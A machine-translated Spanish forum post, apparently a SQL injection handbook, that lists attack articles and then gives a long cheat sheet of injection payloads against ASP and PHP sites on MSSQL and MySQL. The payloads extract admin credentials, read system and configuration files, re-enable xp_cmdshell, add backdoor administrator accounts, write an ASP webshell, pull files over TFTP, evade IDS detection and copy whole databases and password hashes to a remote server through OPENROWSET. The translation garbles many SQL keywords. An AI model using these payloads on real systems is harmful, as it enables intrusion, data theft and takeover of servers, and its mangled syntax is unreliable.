Este artículo es un artículo espejo de traducción automática, por favor haga clic aquí para saltar al artículo original.

Vista: 20889|Respuesta: 2

[Comunicación segura] SQL Injection Book - Vulnerabilidad de inyección ASP Contacto total

[Copiar enlace]
Publicado en 28/9/2015 18:21:41 | | |


Consultas MSSQL entre bases de datos (¡comida apestosa!) Oscuro)

Exprime hasta la última gota de MS SQL

Las referencias a sentencias SQL y los objetos de conjuntos de registros se explican en detalle

Acerca de procedimientos almacenados en SQL Server

Crea un webshell con copia de seguridad de mssql

SQL_Injection Aplicaciones avanzadas

Inyección SQL entre sitios (laokai)

Inyección SQL Extraña (AMANL)

Inyección SQL avanzada en aplicaciones SQL Server

Cómo usar la inyección SQL para recorrer directorios

Guía de las técnicas de inyección SQL (Traductor: demonalex)

Algunos ataques a bases de datos SQL

Técnica de Ataque por Inyección SQL (JSW)

SQL_Injection Aplicaciones Avanzadas (APACHY)

Métodos poco comunes de inyección SQL (Guilin Veteran)

Copia de seguridad de una shell

Habla sobre la estructura de la instrucción de inyección php+mysql (Heyhehehehe·≯Super· Hei)

Inyección SQL Avanzada con MySQL(ángel)

L'injection (My)SQL vía PHP

Lenguaje Oracle SQL

Enciclopedia de inyección manual de SQL

Los requisitos previos requieren herramientas: SQL Query Analyzer y SqlExec Sunx Version
==============================================================================================
1. Determinar si existe un punto de inyección
; y 1=1 y 1=2
2. Supongo que el nombre de la tabla no es más que admin, administrador, usuario, usuario, contraseña, etc.:
y 0<>(select count(*) de *)
y 0<>(select count(*) de admin) — Determinar si existe la tabla de administración
3. Adivina el número de cuentas. Si encuentras 0< vuelve a la página correcta 1< devuelve la página de error para indicar que el número de cuentas es 1
y 0<(select count(*) de admin)
y 1<(select count(*) de admin)
4. Adivina el nombre del campo. Añade el nombre del campo que pensemos entre corchetes.
y 1=(select count(*) de admin donde len(*)>0)–
y 1=(select count(*) del administrador donde len(nombre de campo usuario)>0)
y 1=(seleccionar count(*) de admin donde len(_blank>nombre de campo de contraseña)>0)
5. Adivina la longitud de cada campo Adivina la longitud es transformar >0 hasta que se devuelva la página correcta
y 1=(select count(*) from admin where len(*)>0)
y 1=(select count(*) de admin donde error len(name)>6)
y 1=(select count(*) de admin donde len(name)>5) La longitud correcta es 6
y 1=(select count(*) de admin donde len(name)=6) es correcto
y 1=(select count(*) de admin donde len(password)>11) es correcto
y 1=(select count(*) de admin donde la longitud del error len(password)>12) es 12
y 1=(select count(*) de admin donde len(password)=12) es correcto
6. Adivina los personajes
y 1=(select count(*) del admin donde left(name,1)=a) — Adivina el primer dígito de la cuenta del usuario
y 1=(select count(*) del admin donde left(name,2)=ab)—Adivina el segundo dígito de la cuenta del usuario
Solo añade un carácter a la vez para adivinar, adivina tantos dígitos como acabas de adivinar, y saldrá el número de cuenta
(1) Adivina el nombre de la tabla

Frases usadas:
y existe (seleccionar * del nombre de la tabla)

Por ejemplo:
y existe (seleccionar * desde administrador)

Si la página hace eco correctamente, significa que el nombre de la tabla que adivinamos aquí es correcto, y si la página está equivocada, significa que el nombre de la tabla que escribimos aquí es incorrecto

, luego cambia el nombre de la tabla y sigue adivinando hasta que adivines.

Generalmente, los nombres de tablas más usados incluyen admin, manager, user o poner en la ejecución de la herramienta
(2) Adivinar el campo

Frases usadas:
y existe (seleccionar el nombre del campo del nombre de la tabla)

Por ejemplo:
y existe (selecciona el nombre de usuario del administrador)

Aquí, asumiendo que la tabla de administración es la que he adivinado correctamente arriba, entonces quiero determinar si existe el campo de nombre de usuario, necesito usar esta sentencia, si la página

Si el eco de la cara es correcto, significa que el nombre del campo que hemos adivinado aquí es correcto, y si la página está equivocada, significa que el nombre del campo que escribimos aquí es incorrecto

, luego cambia el nombre del campo y sigue adivinando hasta que adivines.

Generalmente, los nombres de campos más comunes incluyen nombre de usuario, contraseña, usuario, pase, nombre, pase, pwd, usr, psd y otros campos
(3) orden por

Orden por es obtener la suma del número de campos en esa página, preparando la siguiente consulta conjunta
(4) Unión Selecta

  1. Si soportas consulta conjunta, encuentra el bit de visualización http://www.xxx.com/product_show.asp?id=1 y la selección de unión 1=2

1,2,3,4,5,6,7,8,9,10,11
Supongamos que los bits de visualización son 5,6. A continuación, solo necesitamos reemplazar los nombres de los campos correspondientes al nombre de usuario y la contraseña del administrador por la posición del bit de visualización aquí
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 del administrador encontró el inicio de sesión en segundo plano
  2. Si no se soporta consulta conjunta
El nombre de usuario y la contraseña del administrador no pueden obtenerse sin una consulta conjunta, utilizando decodificación Ascii palabra por palabra
Dos
  Usa el orden por para juzgar el número de bits en la tabla, y si no funciona, usa la selección unida para ordenarlos uno por uno; aquí asumimos 8 bits
Tres
  Utiliza una consulta conjunta para determinar los bits de visualización
Cuatro
  Utiliza el bit de visualización para encontrar el nombre de la base de datos, la versión de la base de datos, 5.0 o superior que se puede inyectar
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,usuario(),0x5c,
versión(),8
Cinco
  Con el nombre de la base de datos, puedes empezar a obtener el nombre de la tabla schema = seguido del valor HEX del nombre de la base de datos, y adivinar el nombre de la tabla
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+de+information_schema.columnas+dónde+
table_schema=0x666C6965725F6462617365
Seis
  El nombre de la tabla analizada determina el valor HEX del nombre de tabla del administrador=nombre de la tabla, y adivina los campos de la tabla
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Siete
  Después de obtener los campos en la tabla de administración, vamos a obtener el contenido de los campos
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO

+nombre de usuario,
0x5f,userpwd),8+de+pub_webmaster
Ocho
  La herramienta escanea el antecedente: Inicia sesión para subir el troyano después de encontrarlo, y si no encuentras el archivo robots.txt puedes acceder
Nueve
  Si no encuentras el antecedente, la contraseña del administrador de MYSQL quedará expuesta
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(usuario,contraseña),8+de+mysql.user
Diez
  Accede aleatoriamente a una ruta, y la retroalimentación es la página predeterminada 404 de IIS6, lo que indica que el servidor del sitio web es: entorno Windows+IIS6+php+MySQL
  c:\\Windows\\System32\\inetsrv\\MetaBase.xml Esta ruta puede obtener la información de configuración del sitio web.
  Sentencias constructas http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Once
  Analiza el código y encuentra la dirección de segundo plano
  En el primer paso, necesitamos obtener la longitud de los campos en la tabla
Afirmaciones utilizadas:
y (seleccionar la lente top 1 (nombre del campo) del nombre de la tabla)>0
Como qué:
y (selecciona top 1 lente(admin_name) desde admin)>0
La página se muestra normalmente, la longitud del campo admin_name es mayor que 0, y voy a enviar:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
La página muestra un error que indica que el campo está entre 0 y 10, y la longitud es 5 usando la dicotomía
Usando el mismo método para determinar la longitud del campo de la contraseña del administrador, obtengo una longitud de 16
  Paso 2
Ahora pasemos al segundo paso: tomemos un carácter concreto en el campo y obtengamos el código ASCII del carácter, que se utiliza

Declaración:
y (selecciona top 1 asc(mid(nombre del campo, N,1)) del nombre de la tabla)>0
Déjame ver esta frase por separado, primero, la función más interna del medio (nombre de usuario, 1,1), que es el primer carácter del campo admin_name, N

indica que los primeros caracteres deben ser interceptados,
Entonces la función exterior asc(), que convierte los caracteres interceptados por la función media en código ASCII, el top 1 más externo, representa el campo de retorno del primer lugar

Un récord, entonces,
El ">0" al final es para comparar el código ASCII convertido con este número y, finalmente, obtener la intercepción cambiando constantemente el último valor

Descubre el detalle de este personaje
Código ASCII
Sumisión:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
La página se muestra normalmente, indicando que el código ASCII de este carácter es mayor que 30.
Sumisión:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
La página se muestra normalmente, lo que indica que el código ASCII de este carácter es mayor que 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
El código ASCII que acabé con este personaje es 97
Compara la tabla ASCII:
Se puede concluir que el primer carácter es "a".
Luego juzgaré el código ASCII del segundo carácter.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
La página se muestra normalmente, lo que indica que el código ASCII del carácter es mayor que 90, y el último valor siempre cambia
El mismo método daba la contraseña del administrador, y el resultado que obtuve fue:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
y 1=(seleccionar el top 1 count(*) de Admin donde Asc(mid(pass,5,1))=51) –
Esta sentencia de consulta puede adivinar el usuario chino y _blank> contraseña. Solo tienes que sustituir los siguientes números por el código ASSIC chino

Convertir a personajes.

agrupa por users.id que tiene 1=1–www.myhack58.com
agrupa por users.id, username, users.password, users.privs teniendo 1=1–
; insertar en usuarios valores( 666, atacante, foobar, 0xffff )–

UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUMNAS Dónde

TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUMNAS Dónde

TABLE_blank>_NAME=logintable Donde COLUMN_blank>_NAME NO EN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLUMNAS Dónde

TABLE_blank>_NAME=logintable Donde COLUMN_blank>_NAME NO ESTÁ DENTRO

(login_blank>_id,login_blank>_name)-
UNIÓN Seleccionar TOP 1 login_blank>_name DE logintable-
UNIÓN Seleccionar contraseña TOP 1 DESDE logintable donde login_blank>_name=Rahul–
Mira el parche que jugó el servidor _blank> = red de seguridad de barra negra del parche incorrecto de SP4
y 1=(seleccionar @@VERSION)–

Mira los permisos de la cuenta de conexión de la base de datos _blank>, y devuelve el permiso normal, demostrando que es el permiso de administrador del sistema del rol de servidor _blank>.
y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(sysadmin))–

Determina la cuenta de base de datos _blank> conectada. (Usar la cuenta SA para conectar y devolver normal = demostrar que la cuenta conectada es SA)
y sa=(Seleccionar System_blank>_user)–
y user_blank>_name()=dbo–
y 0<>(select user_blank>_name()–

Mira si xp_blank>_cmdshell borra
y 1=(Seleccionar contar(*) DE master.dbo.sysobjects Donde xtype = X Y name = xp_blank>_cmdshell)



xp_blank>_cmdshell se elimina, se restaura y soporta la recuperación absoluta de rutas
; EJECUTIVO master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== permiso de la base de datos está expuesto al código físico de ruta del sitio web

==========================================================================
1、Drop Table [jm_tmp]; Create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

null) -- Crear tabla


2、 eliminar [jm_tmp]; insertar [jm_tmp] ejecutivo master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Inserta el directorio del sitio en el campo de la tabla


3、and (selecciona el top 1 cast([data] como nvarchar(4000) char(124) de [jm_tmp] orden por [data]

desc)=0 '//Campo expuesto


4. Tabla de Caída [jm_tmp] -- Elimina esta tabla.
para que el mando consiga la carcasa
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Otros caminos de estación
======================load_file() Información sensible comúnmente utilizada ===========================================
1、 reemplazar(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100),char(60),char(32))
Las dos anteriores son para ver un archivo PHP que muestra completamente el código. Hay ocasiones en las que algunos caracteres no se reemplazan, como "<" en lugar de "espacio" que devuelve

Página web. Y el código no puede ser visualizado.

3. load_file(char(47)) puede listar el directorio raíz de los sistemas FreeBSD y Sunos

4. Ver el archivo de configuración virtual de Linux APACHE en /etc/httpd/conf/httpd.conf o /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf o C:\apache\conf\httpd.conf para ver WINDOWS

Archivo apache del sistema

6. c:/Resin-3.0.14/conf/resin.conf Consulta la información de configuración del archivo de resina del sitio web desarrollado por jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf para ver el host virtual JSP configurado en el sistema Linux

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explotan path

11. C:\Windows\system32\inetsrv\MetaBase.xml Ver el archivo de configuración del host virtual de IIS

12. /usr/local/resin-3.0.22/conf/resin.conf para ver el archivo de configuración RESIN para la versión 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Igual que antes

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Host virtual APASHE

15. /etc/sysconfig/iptables depende de la política del cortafuegos

16. /usr/local/app/php5 con php.ini ajustes equivalentes a PHP

17. /etc/my.cnf archivo de configuración MYSQL

18. /etc/versión de Red Hat en sistema de lanzamiento de Red Hat

19 、C:\mysql\data\mysql\user. MYD existe en la contraseña de usuario en el sistema MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 para ver IP.

21. /usr/local/app/php5 b/php.ini //Ajustes relacionados con PHP

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // configuración de sitio web virtual

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\Windows\my.ini

25. /etc/issue muestra la información de distribución del kernel de Linux

26、/etc/ftpuser

27. Revisa el archivo de registro de operaciones en LINUX user.bash_history o .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/troncos/error.log
.. /apache/troncos/access.log
.. /.. /apache/troncos/error.log
.. /.. /apache/troncos/access.log
.. /.. /.. /apache/troncos/error.log
.. /.. /.. /apache/troncos/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/troncos/error.log     
.. /apache/troncos/access.log
.. /.. /apache/troncos/error.log
.. /.. /apache/troncos/access.log
.. /.. /.. /apache/troncos/error.log
.. /.. /.. /apache/troncos/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Experimenta tú mismo con PING inverso
; usar maestro; declarar @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Ejecutivo

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Añadir una cuenta
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Crear un disco electrónico de directorio virtual:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Atributos de acceso: (escribiendo en un webshell)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Truco especial de _blank> para hacer burst en la biblioteca: :%5c=\ o modificar %5 con / y \ para hacer commit
y 0<>(selecciona los caminos top 1 de la nueva tabla)–

Busca el nombre de la base de datos (del 1 al 5 son los IDs del sistema, y puedes juzgarlos por encima del 6).
y 1=(seleccionar nombre de master.dbo.sysdatabases donde dbid=7)–
y 0<>(select count(*) de master.dbo.sysdatabases donde name>1 y dbid=6)
Presentar dbid por turno = 7,8,9.... Obtén más nombres _blank> bases de datos

y 0<>(selecciona el nombre top 1 de bbs.dbo.sysobjects donde xtype=U) se interrumpe en una tabla asumiendo admin
y 0<>(selecciona el nombre top 1 de bbs.dbo.sysobjects donde xtype=tú y name no está en (Admin)).

Otras mesas.
y 0<>(select count(*) de bbs.dbo.sysobjects donde xtype=tú y name=admin
y uid>(str(id))) El valor numérico del UID se asume que es 18779569 uid=id
y 0<>(selecciona el nombre top 1 de bbs.dbo.syscolumns donde id=18779569) obtienen un campo de admin, false

Configurado a user_blank>_id
y 0<>(selecciona el nombre top 1 de bbs.dbo.syscolumns donde id=18779569 y name no está en
(id,...)) para exponer otros campos
y 0<(selecciona user_blank>_id desde BBS.dbo.admin donde username>1) para obtener el nombre de usuario
A su vez, puedes obtener _blank> contraseña。。。。。 Supongamos que hay campos como user_blank>_id nombre de usuario, contraseña, etc

y 0<>(select count(*) de master.dbo.sysdatabases donde name>1 y dbid=6)
y 0<>(selecciona el nombre top 1 de bbs.dbo.sysobjects donde xtype=U) para obtener el nombre de la tabla
y 0<>(selecciona el nombre top 1 de bbs.dbo.sysobjects donde xtype=tú y name not in(Address))
y 0<>(select count(*) de bbs.dbo.sysobjects donde xtype=tú y name=admin y uid>(str(id)))

Determinar el valor del id
y 0<>(selecciona el nombre principal de BBS.dbo.syscolumns donde id=773577794) todos los campos

?id=-1 unión seleccionar 1,2,3,4,5,6,7,8,9,10,11,12,13,* de admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 de admin (union, access también es fácil de usar)

Consigue la ruta WEB
; Crear tabla [dbo]. [intercambio] ([swappass][char](255)); –
y (selecciona el top 1 swappass del swap)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Maestro... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEMA

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

SALIDA insertar en caminos(ruta) valores(@test)–
; usar ku1; –
; crear tabla cmd (imagen STR); – Crear un cmd de tabla del tipo de imagen
1. La forma de eliminar el proceso de extensión xp_cmdshell es utilizar la siguiente afirmación:

if existe (selecciona * de dbo.sysobjects donde id=object_id(N'[dbo].[ xpcmdshell]') y

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
ejecutiva sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. La forma de añadir xp_cmdshell proceso de extensión es usar la siguiente sentencia:

(1) Analizador de consultas SQL

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Primero, rellena los %s en la opción de Formato de SqlExec Sunx Version e introdúcelo en la opción CMD

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

eliminar

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', xplog70.dll'
Existen xp_blank>_cmdshell procesos de prueba:
; Maestro ejecutivo... xp_blank>_cmdshell dir
; ejecutivo master.dbo.sp_blank>_addlogin jiaoniang$; – Añadir cuentas SQL
; Exec master.dbo.sp_blank>_password null, jiaoniang$, 1866574; –
; ejecutiva master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; Ejecutivo master.dbo.xp_blank>_cmdshell usuario de la red jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; Exec master.dbo.xp_blank>_cmdshell NET Localgroup Administrators jiaoniang$ /add; –
Maestro ejecutivo... xp_blank>_servicecontrol inicio, programa para iniciar _blank> servicio
Maestro ejecutivo... xp_blank>_servicecontrol empezar, servidor
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c usuario neto jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Maestro ejecutivo... xp_blank>_cmdshell tftp - i youip get file.exe – Subir archivos usando TFTP

; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; declarar @a; conjunto @a=db_blank>_name(); Copia de seguridad de la base de datos @a a disco = tu IP Tu directorio compartido bak.dat
Si está restringido, sí.
selecciona * desde OpenRowSet(_blank>sqloledb,server; Sa; ,selecciona OK! Ejecutivo

master.dbo.sp_blank>_addlogin hax)

Estructura de la consulta:
Seleccionar * DE noticias Donde id=... Y tema=... Y .....
adminand 1=(select count(*) from [user] wherenameuser=victim y right(left(userpass,01),1)=1)

y userpass <>
seleccionar 123; –
; usar maestro; –
:a o nombre como fff%; – Muestra un usuario llamado ffff.
y 1<>(select count(email) de [usuario]); –
; actualización [usuarios] establecer email=(seleccionar nombre top 1 de sysobjects donde xtype=tú y status>0) donde

Nombre=FFFF; –
; actualización [usuarios] establecer correo electrónico=(seleccionar id top 1 desde sysobjects donde xtype=you y name=ad) donde

Nombre=FFFF; –
; Actualización [usuarios] establecer correo electrónico=(seleccionar nombre top 1 de sysobjects donde xtype=tú e id>581577110)

donde nombre=ffff; –
; actualización [usuarios] establecer email=(seleccionar el conteo principal de 1 desde la contraseña) donde nombre=ffff; –
; actualización [usuarios] establecer correo electrónico=(seleccionar top 1 pwd desde la contraseña donde id=2) donde nombre=ffff; –
; actualización [usuarios] establecer correo electrónico=(seleccionar nombre top 1 de la contraseña donde id=2) donde nombre=ffff; –
La afirmación anterior es obtener la primera tabla de usuario en la base de datos _blank> y poner el nombre de la tabla en el campo de correo electrónico del usuario ffff.
Al ver el perfil de usuario de ffff, puedes obtener la primera tabla llamada AD
Luego consigue el ID de esta tabla según el nombre de la tabla y así obtener el nombre de la segunda tabla

insertar en usuarios valores(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
insertar en los valores de usuario (667,123,123,0xffff)–
Inserta en usuarios los valores (123, admin–, contraseña, 0xffff)–
; y usuario>0
; y (select count(*) de sysobjects)>0
; y (select count(*) de mysysobjects)>0 // para la base de datos access_blank>

Enumerar el nombre de la tabla de datos
; actualizar aaa set aaa=(seleccionar el nombre top 1 de sysobjects donde xtype=you y status>0); –
Aquí es donde se actualiza el primer nombre de la tabla al campo AAA.
Lee la primera tabla, y la segunda tabla puede leerse así (añade y nombra la condición<> el nombre de la tabla que acabas de recibir).
; actualizar aaa set aaa=(seleccionar el nombre top 1 de sysobjects donde xtype=you y status>0 y

nombre<>voto); –
Entonces id=1552 y existe (selecciona * de aaa donde aaa>5)
Lee la segunda tabla y léela una a una hasta que no quede ninguna.
El campo de lectura es así:
; actualizar el conjunto aaa aaa=(seleccionar top 1 col_blank>_name(object_blank>_id(nombre de la tabla),1)); –
Entonces id=152 y exists (select * from aaa donde aaa>5) recibe un error y obtiene el nombre del campo
; actualizar aaa set aaa=(seleccionar top 1 col_blank>_name(object_blank>_id(nombre de la tabla),2)); –
Entonces id=152 y exists (select * from aaa donde aaa>5) recibe un error y obtiene el nombre del campo

[Obtener nombre de la tabla de datos] [Actualiza el valor del campo al nombre de la tabla y luego lee el valor de este campo para obtener el nombre de la tabla]
Actualizar tabla nombre set_field=(seleccionar el nombre top 1 de sysobjects donde xtype=tú y status>0 [ y nombre<>

El nombre de la tabla que obtienes Encuentra uno más uno]) [donde condición] selecciona el nombre top 1 de sysobjects donde xtype=tú y

estado>0 y nombre no en(tabla1,tabla2,...)
Crear una cuenta de administrador de base de datos y una cuenta de administrador de sistemas _blank> _blank> inyección de vulnerabilidades a través de SQLSERVER [La cuenta actual debe ser el grupo SYSADMIN]

[Obtener nombre de campo de la tabla de datos] [Actualiza el valor del campo al nombre del campo y luego lee el valor de este campo para obtener el nombre del campo]
Actualizar nombre de tabla SetField=(Select Top 1 col_blank>_name(object_blank>_id (nombre de la tabla de datos a consulta), columna de campo

Por ejemplo: 1) [donde condición]

Evitar la detección de IDS [Usando variables]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Abrir la base de datos remota de _blank>
Sintaxis básica
select * de OPENROWSET(SQLOLEDB, servidor=nombreservidor; UID=SA; pwd=123, seleccione * de la tabla1 )
Parámetros: (1) Nombre del proveedor OLEDB
2. El parámetro de la cadena de conexión puede ser cualquier puerto para conectar, como
select * de OPENROWSET(SQLOLEDB, uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,

seleccionar * de la tabla
3. Copiar toda la base de datos _blank> del host destino e insertar todas las tablas remotas en la tabla local.

Sintaxis básica:
insertar en OPENROWSET(SQLOLEDB, server=nombreservidor; UID=SA; pwd=123, seleccione * de la tabla1) seleccione

* de la Tabla2
Esta instrucción de línea copia todos los datos de la tabla 2 en el host destino a la tabla 1 en la base de datos remota de _blank>. Reparaciones adecuadas en la práctica

Cambia la dirección IP y el puerto de la cadena de conexión para que apunten a donde la necesites, por ejemplo:
insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select

* de la tabla1) seleccionar * de la tabla2
insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select

* de _blank>_sysdatabases)
selecciona * de master.dbo.sysdatabases
insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select

* de _blank>_sysobjects)
select * de user_blank>_database.dbo.sysobjects
insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select

* de _blank>_syscolumns)
select * de user_blank>_database.dbo.syscolumns
Replicar _blank> base de datos:
insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select

* de la tabla 1) seleccionar * desde la base de datos... Tabla1
insertar en OPENROWSET(SQLOLEDB,uid=sa; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select

* de la tabla2) seleccionar * de la base de datos.. Tabla2

El hash de la contraseña que copia la tabla hash (HASH) _blank> la contraseña se almacena en sysxlogins. Así es como:
insertar en OPENROWSET(SQLOLEDB,

UID=SA; PWD=123; Network=DBMSSOCN; Dirección=192.168.0.1,1433; ,select * de _blank>_sysxlogins)

